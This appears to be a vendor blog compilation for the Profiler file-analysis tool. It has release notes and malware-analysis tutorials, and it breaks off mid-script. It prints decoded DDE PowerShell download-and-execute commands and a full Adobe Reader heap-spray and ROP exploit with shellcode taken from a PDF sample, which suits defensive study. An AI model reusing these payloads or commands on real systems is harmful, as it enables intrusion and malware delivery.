Profiler 2.9

Profiler 2.9.1 is out with the following news (entries with the plus sign apply only to the advanced edition):

+ added parsing of Windows heap
+ added file detection in memory regions and heap
+ added file detection in memory regions and heap via libmagic
added CCITTFax decoder for PDFs
added detection of DDE field codes
added support for 64-bit shellcode to executable
+ added display of page flags in hex views
added actions for text modification
added action to dump mapped PEs to disk
+ added signature for automatic recognition of EML files
+ improved identification speed of raw Windows memory images
+ improved loading speed of raw Windows memory images
+ improved scanning speed of memory images
+ improved global address space hex view
+ improved user address space view
improved fault tolerance of the XML parser
– improved CFBF support
– improved support of embedded OLE objects
– improved extraction of VBA code
– improved PDF decryption
– updated SQLite to 3.21.0
– updated libmagic to 5.32
– fixed XML to text action
– fixed Python multithreading issues
– fixed many small issues
– removed PasteBin action

We’ve waited for the official announcement of the new release, because we wanted to pack some more features inside 2.9.1!

After this edition, we will continue to release minor versions, while preparing a major 3.0 edition scheduled for the second half of this year.

Windows memory image identification speed

One of the main things we improved in 2.9 is the speed of opening memory images. The user has now the option whether or not to scan files in memory. Most of the times scanning files in memory is not needed and makes the opening of a memory image unnecessarily slow.

Version 2.9.1 comes with an additional very important speed improvement: the options dialog will pop up at the first occurrence of a valid KDBG structure. The user can still opt to look for additional KDBG structures as highlighted in the screenshot below.

Memory file detection via libmagic

The main addition in version 2.9.1 versus 2.9.0 is the capability to increase the file detection rate of files in memory using libmagic.

We can dump all files detected to disk as well.

While libmagic increases the detection rate, it also adds many false positive. A nice effect of using libmagic is the detection of text files and scripts.

Memory page flags

Page flags are now visible in the hex view for memory images. Not only when viewing the main address space of a process, but also when opening a mapped file.

Or the structures of a mapped file.

Or any children or resource of a mapped file.

Improved user space view

The user space view for every process now shows also the list of mapped modules.

Dump PE to disk

When inspecting a memory mapped executable, we can now dump the file to disk and Profiler will take care of adjusting the PE header in order to be able to inspect the file using external tools as well.

XML fault tolerance

The XML parser has been improved to handle incorrect XML files. This is especially important when handling PDF malware which contains malformed XDP data.

CCITTFax decoder

Yet another decoder has been added to our PDF support. Here we can see a malware sample using this codec to conceal some JavaScript code.

64-bit shellcode to executable

It is now possible to convert x64 shellcode to executable. In the past this feature was limited to x86 shellcode.

To handle x64 shellcode it is necessary to specify “AMD x64” as Machine.

Text modification actions

When being in the context of a text editor, we can now use text actions to do some basic text operations like converting text to lowercase or uppercase or removing spaces.

Enjoy!

Microsoft Office DDE Detection

In this article we’re not going to discuss how DDE works, there are plenty of excellent resources about this topic already (also here and here).

Instead we’re going to see how to inspect DDE field codes in Profiler. In fact, the upcoming 2.9 version of Profiler comes with detection of DDE field codes.

So let’s start by opening a modern Word document (.docx).

We can see that the main document.xml is highlighted as malicious. If we open the file, we’ll see that Profiler informs us about a possible DDE attack.

The actual DDE code is spread among the XML and makes it difficult for us to read.

			
				
					
				
				 DDEAUTO 
			
			
				
					
				
				"C
			
			
				
					
				
				:\
			
			
				
					
				
				\
			
			
				
					
				
				Programs
			
			
				
					
				
				\
			
			
				
					
				
				\Microsoft
			

So let’s use two actions to clean it up. Press Ctrl+R to execute the XML->To text action.

Followed by the Text->Strip one.

Once done, we’ll obtain the following text:

DDEAUTO c:\ \Windows\ \ System32\ \ cmd.exe “/ k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString( ‘ http://ec2-54-158-67-5.compute-1.amazonaws.com/CCA/ DDE 2 .ps1’);powershell -e $e ” !Unexpected End of Formula

Which is pretty clear: it downloads a PowerShell script from a URL and then executes it.

Now let’s look at an old-school Word document (.doc).

In this case it’s even easier for us to inspect the DDE code as clicking on the threat immediately brings us to it.

By copying the ascii text from the hex view or executing the Conversion->Bytes to text action we’ll obtain the following code:

DDEAUTO c:\\Windows\\System32\\cmd.exe “/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source “https://www.dropbox.com/s/or2llvdmli1bw4o/index.js?dl=1” -Destination “index.js” & start c:\\Windows\\System32\\cmd.exe /c cscript.exe index.js”

Which downloads a Windows JS script and executes it.

Now let’s go back to a modern office sample. In this particular case the DDE code is obfuscated as explained in two of the articles linked in the beginning.

The XML is full of this QUOTE-followed-by-decimal-numbers syntax.

			
				SET c
			
			
				
			
			
				"
			
			
				
					
						
						
					
					
				
			
			
				"
			
			
				
			
			
				
			
		
		
			
				
			
			
				
			
			
				SET d
			
			
				 "
			
			
				
					
						
						
					
					
				
			

Since the strings are inside XML attributes, we can’t use the XML->To text action. Instead, we just clean it up manually as there are only 3 of these QUOTES.

SET c  QUOTE  67 58 92 80 114 111 103 114 97 109 115 92 77 105 99 114 111 115 111 102 116 92 79 102 102 105 99 101 92 77 83 87 111 114 100 46 101 120 101 92 46 46 92 46 46 92 46 46 92 46 46 92 87 105 110 100 111 119 115 92 83 121 115 116 101 109 51 50 92 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 92 118 49 46 48 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101 32 45 78 111 80 32 45 115 116 97 32 45 78 111 110 73 32 45 87 32 72 105 100 100 101 110 32 36 101 61 40 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 78 101 116 46 87 101 98 67 108 105 101 110 116 41 46 68 111 119 110 108 111 97 100 83 116 114 105 110 103 40 39 104 116 116 112 58 47 47 110 101 116 109 101 100 105 97 114 101 115 111 117 114 99 101 115 46 99 111 109 47 99 111 110 102 105 103 46 116 120 116 39 41 59 112 111 119 101 114 115 104 101 108 108 32 45 101 110 99 32 36 101 32 35
       QUOTE  97 32 115 108 111 119 32 105 110 116 101 114 110 101 116 32 99 111 110 110 101 99 116 105 111 110
	   QUOTE  116 114 121 32 97 103 97 105 110 32 108 97 116 101 114

Out of this, we can make a small Python script to convert the numbers to a hex string and print it out to the console:

s = "67 58 92 80 114 111 103 114 97 109 115 92 77 105 99 114 111 115 111 102 116 92 79 102 102 105 99 101 92 77 83 87 111 114 100 46 101 120 101 92 46 46 92 46 46 92 46 46 92 46 46 92 87 105 110 100 111 119 115 92 83 121 115 116 101 109 51 50 92 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 92 118 49 46 48 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101 32 45 78 111 80 32 45 115 116 97 32 45 78 111 110 73 32 45 87 32 72 105 100 100 101 110 32 36 101 61 40 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 78 101 116 46 87 101 98 67 108 105 101 110 116 41 46 68 111 119 110 108 111 97 100 83 116 114 105 110 103 40 39 104 116 116 112 58 47 47 110 101 116 109 101 100 105 97 114 101 115 111 117 114 99 101 115 46 99 111 109 47 99 111 110 102 105 103 46 116 120 116 39 41 59 112 111 119 101 114 115 104 101 108 108 32 45 101 110 99 32 36 101 32 35 97 32 115 108 111 119 32 105 110 116 101 114 110 101 116 32 99 111 110 110 101 99 116 105 111 110 116 114 121 32 97 103 97 105 110 32 108 97 116 101 114"
l = s.split(" ")
l2 = list()
for n in l:
    if n.strip():
        l2.append(int(n))
b = bytearray(l2)
import binascii
b = binascii.hexlify(b)
print(b)

Then we simply select the hex string and run the action Conversion->Hex string to bytes.

And now we can see the decoded bytes in hex view.

This is the DDE code:

C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString(‘http://netmediaresources.com/config.txt’);powershell -enc $e #a slow internet connectiontry again later

Yet again it downloads a PowerShell script and executes it.

Pretty simple!

JBIG2 Encoded Malware in PDFs

The upcoming version of Profiler 2.7 adds support for JBIG2 encoding inside PDFs. Although JBIG2 isn’t intended to encode data other than images, it can be used to do so. Quoting the PDF documentation:

The JBIG2Decode filter (PDF 1.4) decodes monochrome (1 bit per pixel) image data that has been encoded using JBIG2 encoding. JBIG stands for the Joint Bi-Level Image Experts Group, a group within the International Organization forStandardization (ISO) that developed the format. JBIG2 is the second version of a standard originally released as JBIG1.

JBIG2 encoding, which provides for both lossy and lossless compression, is useful only for monochrome images, not for color images, grayscale images, or general data. The algorithms used by the encoder, and the details of the format, are not described here. A working draft of the JBIG2 specification can be found through the Web site for the JBIG and JPEG (Joint Photographic Experts Group) committees at http://www.jpeg.org.

Here’s a PDF malware trying to conceal its XFA form by encoding it via JBIG2:

And the decoded content:

While this is in no way common in PDF malware, it’s an effective trick to prevent automatic and manual analysis, since JBIG2 is seldom supported by security tools.

Yet another PDF/XDP Malware

Today we’re going to analyze yet another sample of PDF containing an XDP form. The difference between this sample and the one of my previous post is that this one will be less about JavaScript deobfuscation and more about anti-analysis tricks.

If you want to follow hands-on the analysis, this is the link to the malware sample (password: infected29A). Also make sure to update Profiler to the current 2.6.2 version!

MD5: 4D686BCEE50538C969647CF8BB6601F6
SHA-256: 01F13FE4E597F832E8EDA90451B189CDAFFF80F8F26DEE31F6677D894688B370

Let’s open the Zip archive. The first thing we notice is that the file has been incorrectly identified as CFBF.

That’s because the beginning of the file contains a CFBF signature:

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  D0 CF 11 E0 A1 B1 1A E1   00 00 00 00 00 00 00 00     ................

If we were to open the file directly from the file-system, we would be prompted to choose the correct file format:

But as such is not the case, we simply go to the decompressed stream in the Zip archive (or to the CFBF document, it doesn’t matter), position the cursor to the start of the file and press Ctrl+E.

We select the PDF format and then open the newly created embedded file in the hierarchy.

What we’ll notice by looking at the summary is that a stream failed to decompress, because it hit the memory limit. A tool-tip informs us that we can tweak this limit from the settings. So let’s click on “Go to report” in the tool-bar.

This will bring us to the main window. From there we can go to the settings and increase the limit.

In our case, 100 MBs are enough, since the stream which failed to decompress is approximately 90 MBs. Let’s click on “Save settings”, click on “Computer Scan” and then back to our file.

Let’s now repeat the procedure to load the embedded file as PDF and this time we won’t get the warning:

Just for the sake of cleanliness, we can also select the mistakenly identified CFBF embedded file and press “Delete”, in order to remove it from the analysis.

We are informed by the summary that the PDF contains an interactive form and, in fact, we can already see the XDP as child of the PDF.

We could directly proceed with the analysis of the XFA, but let’s just step back a second to analyze a trick this malware uses to break automatic analysis. The XFA is contained in the object 1.0 of the PDF.

Let’s go with the cursor to the stream part of the object (the one in turquoise), then let’s open the context menu and click on “Ranges->Select continuous range” (alternatively Ctrl+Alt+A). This will select the stream data of the object. Let’s now press Ctrl+T to invoke the filters and apply the unpack/zlib filter. If we now click on “Preview”, we’ll notice that an error is reported.

The stream is still decompressed, but it also reports an error. This is one of the trick this malware uses to break automatic analysis: the ZLib stream is corrupted at the very end.

Let’s now open the XFA. Immediately we can see another simple trick to fool identification of the XDP: a newline byte at the start.

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  0A 3C 78 64 70 3A 78 64   70 20 78 6D 6C 6E 73 3A     .<xdp:xdp.xmlns:
00000010  78 64 70 3D 22 68 74 74   70 3A 2F 2F 6E 73 2E 61     xdp="http://ns.a
00000020  64 6F 62 65 2E 63 6F 6D   2F 78 64 70 2F 22 20 74     dobe.com/xdp/".t

Given the huge size of the XDP it’s not wise to open it in the text editor, but we can look at the extracted JavaScript from the summary.

Here are the various parts which make up the JavaScript code:

// part 1
            function pack(i){
                var low = (i & 0xffff);
                var high = ((i>>16) & 0xffff);
                return String.fromCharCode(low)+String.fromCharCode(high);
            }
            function unpackAt(s, pos){
                return  s.charCodeAt(pos) + (s.charCodeAt(pos+1)<<16);
            }
            function packs(s){
                result = "";
                    for (i=0;i<s.length;i+=2)
                    result += String.fromCharCode(s.charCodeAt(i) + (s.charCodeAt(i+1)<<8));
                    return result;
                }
            function packh(s){
                return String.fromCharCode(parseInt(s.slice(2,4)+s.slice(0,2),16));
                }
            function packhs(s){
                result = "";
                for (i=0;i<s.length;i+=4)
                result += packh(s.slice(i,i+4));
                return result;
            }

            var _offsets =  {"Reader": {

                                         "9.303": {
                                                    "acrord32":    0x85,
                                                    "rop0":        0x14BA8,
                                                    "rop1":        0x1E73AF,
                                                    "rop1x":       0x2F12,
                                                    "rop2":        0x196774,
                                                    "rop3":        0xE475,
                                                    "rop3x":       0xE476,
                                                    "rop4":        0x3B2A,
                                                    "GMHWA":       0x7F245C,
                                                    "VPA":         0xB8809C,
                                                    },
                                        "9.304": {
                                                    "acrord32":    0x85,
                                                    "rop0":        0x14BD8,
                                                    "rop1":        0x1E74BF,
                                                    "rop1x":       0x2F12,
                                                    "rop2":        0x1966A2,
                                                    "rop3":        0xE495,
                                                    "rop3x":       0xE496,
                                                    "rop4":        0x3B2A,
                                                    "GMHWA":       0x7F245C,
                                                    "VPA":         0xB8809C,
                                                    },
                                        "9.4": {
                                                    "acrord32":    0x85,
                                                    "rop0":        0x14BD8,
                                                    "rop1":        0x1C9D3F,
                                                    "rop1x":       0x2F12,
                                                    "rop2":        0x1792EE,
                                                    "rop3":        0xE455,
                                                    "rop3x":       0xE456,
                                                    "rop4":        0x3B2A,
                                                    "GMHWA":       0x7F245C,
                                                    "VPA":         0xB8809C,
                                                    },
                                                    
                                        // cut for the sake of brevity...
                                                    
// part 2

            var slide_size=0x12c;
            var size = 200;
            var chunkx = "\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f";
            var x = new Array(size);
            var y = new Array(size);
            var z = new Array(size);
            var pointers = new Array(100);
            var done = 0;
            
// part 3

            var i; var j;
            if (spray.done == 0){
               var TOKEN = "\u5858\u5858\u5678\u1234";
               var chunk_len = spray.slide_size/2-1-(TOKEN.length+2+2);

               for (i=0; i < spray.size; i+=1)
                  spray.x[i] = TOKEN + util.pack(i) +
                               spray.chunkx.substring(0, chunk_len) +
                               util.pack(i) + "";

               for (j=0; j < 1000; j++)
                  for (i=spray.size-1; i > spray.size/4; i-=10)
                     spray.x[i]=null;

               spray.done = 1;
            }
            
// part 4

            var i; var j;
            var found = -1;  // Index of the overlapped string
            var acro = 0;    // Base of the AcroRd32_dll
            var ver = app.viewerVersion.toFixed(3);
            var verArr = ver.split(".");
            var verA = parseInt(verArr[0]);
            var verB = (verArr.length > 1)  ? parseInt(verArr[1]) : 0;

            var x1, x2, x3;

            if(verArr.length > 1)
            {
                verB = parseInt(verArr[1]);
                if(verArr[1].length == 1)  verB *= 100;
            }
            else
                verB = 0;

            var shellcode = "\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u77eb\uc931\u8b64\u3071\u768b\u8b0c\u1c76\u5e8b\u8b08\u207e\u368b\u3966\u184f\uf275\u60c3\u6c8b\u2424\u458b\u8b3c\u0554\u0178\u8bea\u184a\u5a8b\u0120\ue3eb\u4934\u348b\u018b\u31ee\u31ff\ufcc0\u84ac\u74c0\uc107\u0dcf\uc701\uf4eb\u7c3b\u2824\ue175\u5a8b\u0124\u66eb\u0c8b\u8b4b\u1c5a\ueb01\u048b\u018b\u89e8\u2444\u611c\ue8c3\uff92\uffff\u815f\u98ef\uffff\uebff\ue805\uffed\uffff\u8e68\u0e4e\u53ec\u94e8\uffff\u31ff\u66c9\u6fb9\u516e\u7568\u6c72\u546d\ud0ff\u3668\u2f1a\u5070\u7ae8\uffff\u31ff\u51c9\u8d51\u8137\ueec6\uffff\u8dff\u0c56\u5752\uff51\u68d0\ufe98\u0e8a\ue853\uff5b\uffff\u5141\uff56\u68d0\ud87e\u73e2\ue853\uff4b\uffff\ud0ff\u6d63\u2e64\u7865\u2065\u632f\u2020\u2e61\u7865\u0065\u7468\u7074\u2f3a\u672f\u2e65\u7474\u322f\u3472\u6653\u6339\u0032\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090";
            var shellcode2 = shellcode[0] + util.pack((verB << 16) | verA) + shellcode.substring(3);
            var add_num = verA >= 11 ? 16 : 14;

            for (i=0; i < spray.size; i+=1)
               if ((spray.x[i]!=null)  && (spray.x[i][0] != "\u5858")){
                  found = i;
                  acro_high_w = acro = (util.unpackAt(spray.x[i], add_num) >> 16);
                  acro = (acro_high_w - util.offset("acrord32")) << 16;
                  break;
               }

            if (found == -1){
               event.target.closeDoc(true);
            }

            if (found == -1)
            {
              x1 = 0x1e1a757f;
              x2 = 0x11e5263c;
              x3 = 0x984caf6;

             acro = x1+x2+x3;
            }

            var chunky = "";
            var heap_addr = 0x10101000;

            if (verA < 11)
            {
                for (i=0; i < 7; i+=1)
               chunky += util.pack(0x41414141);
            }

            chunky += util.pack(heap_addr);
            while (chunky.length < spray.slide_size/2)
               chunky += util.pack(0x58585858);

            for (j=0; j < 10000; j++)
               spray.x[found-1]=spray.x[found]=null;

            for (i=0; i < spray.size; i+=1){
               ID = "" + i;
               spray.y[i] = chunky.substring(0,spray.slide_size/2-ID.length) + ID+ "";
            }

            var obj = heap_addr;
            var pointer_slide = "";

            pointer_slide += util.pack(acro+util.offset("rop1")); //add esp,60;ret

            for (i=0; i < 27; i+=1)
            {
               if ( i == 24 )
               pointer_slide += util.pack(acro+util.offset("rop1x")); //-> rop2
               else
               pointer_slide += util.pack(0x41414141);
            }

            obj += pointer_slide.length*2;
            // ROP
            pointer_slide += util.pack(acro+util.offset("rop0"));
            pointer_slide += util.pack(acro+util.offset("rop3x"));
            pointer_slide += util.pack(acro+util.offset("GMHWA"));
            pointer_slide += util.pack(acro+util.offset("rop4"));
            //@0x10
            pointer_slide += util.pack(acro+util.offset("rop2"));
            pointer_slide += util.pack(obj+0xDC);
            pointer_slide += util.pack(obj+0xCC);
            pointer_slide += util.pack(0x43434343);
            //@0x20
            pointer_slide += util.pack(0x43434343);
            pointer_slide += util.pack(0x43434343);
            pointer_slide += util.pack(acro+util.offset("rop3"));
            pointer_slide += util.pack(acro+util.offset("rop3"));
            //@0x30
            pointer_slide += util.pack(acro+util.offset("VPA"));
            pointer_slide += util.pack(acro+util.offset("rop4"));
            pointer_slide += util.pack(obj+0x50);
            pointer_slide += util.pack(obj+0x50);
            //0x40
            pointer_slide += util.pack(0x1000);
            pointer_slide += util.pack(0x40);
            pointer_slide += util.pack(obj+0x4C);
            pointer_slide += util.pack(0x00000000);
            //0x50
            pointer_slide += util.packhs("E999000000909090");
            pointer_slide += util.pack(acro);
            pointer_slide += util.pack(0xCCCCCCCC);
            //0x60
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            //0x70
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(acro);
            pointer_slide += util.pack(0x48484848);
            //0x80
            pointer_slide += util.pack(0x49494949);
            pointer_slide += util.pack(0x50505050);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0x90
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xa0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xb0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xc0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.packs("VirtualProtect"); //@0xCC
            pointer_slide += "\u0000";
            pointer_slide += "KERNEL32";
            pointer_slide += "\u0000";
            pointer_slide += shellcode;


            while (pointer_slide.length < 0x1000/2)
               pointer_slide += util.pack(0x41414141);
            pointer_slide = pointer_slide.substring(0,0x1000/2);
            while (pointer_slide.length < 0x100000/2)
               pointer_slide += pointer_slide;
            for (i=0; i < 100; i+=1)
               spray.pointers[i] = pointer_slide.substring(16, 0x100000/2-16-2)+ util.pack(i) + "";

if(verA > 9) xfa.host.messageBox("Page not found !", "Adobe Acrobat", 3, 1);


var   pdfDoc = event.target;
pdfDoc.closeDoc(true);

The first part contains the information needed to construct ROP for the various versions of Adobe Reader. In the last part we can see that the JavaScript code sprays the heap. So probably they rely on a huge image embedded in the XDP (which is actually the reason why the XDP is so big) to trigger the exploit.

<field name="ImageCrash">
            <ui> <imageEdit/> </ui>
            <value>
               <image>Qk3AAAAAAAAAAAAAAABAAAAALAEAAAEAAAABAAgAAQAAAAAAAAAAAAAAA...

The field name is aptly named “ImageCrash”.

Let’s go back to the shellcode part and let’s analyze that. I’m talking about the part of code which starts with:

var shellcode = "\u9090\u9090\u9090\u9090\u9090\u9090...

We could of course copy that part of a text view, remove the \u, then convert to bytes and then apply a filter to reorder them, as in JavaScript the words are in big-endian. But we can do it even more elegantly and make our shellcode appears as an embedded file. So let’s select the byte array from the hex editor:

Let’s now press Ctrl+E and click on the “Filters” button.

What we want to do is to first remove the “\u” escape. So we add the filter misc/replace and specify “\u” as in and nothing as out (we leave ascii mode as default). Now we have stripped the data from the escape characters. Now we need to convert it from ascii hex to bytes. So we add the convert/from_hex filter. The last step, as already mentioned, is that we need to switch the byte order in the words. To do that, we’ll use the lua/custom filter. I only modified slightly the default script:

function run(filter)
    local c = filter:container()
    local size = c:size()
    local offset = 0
    local bsize = 16384
    while size ~= 0 do
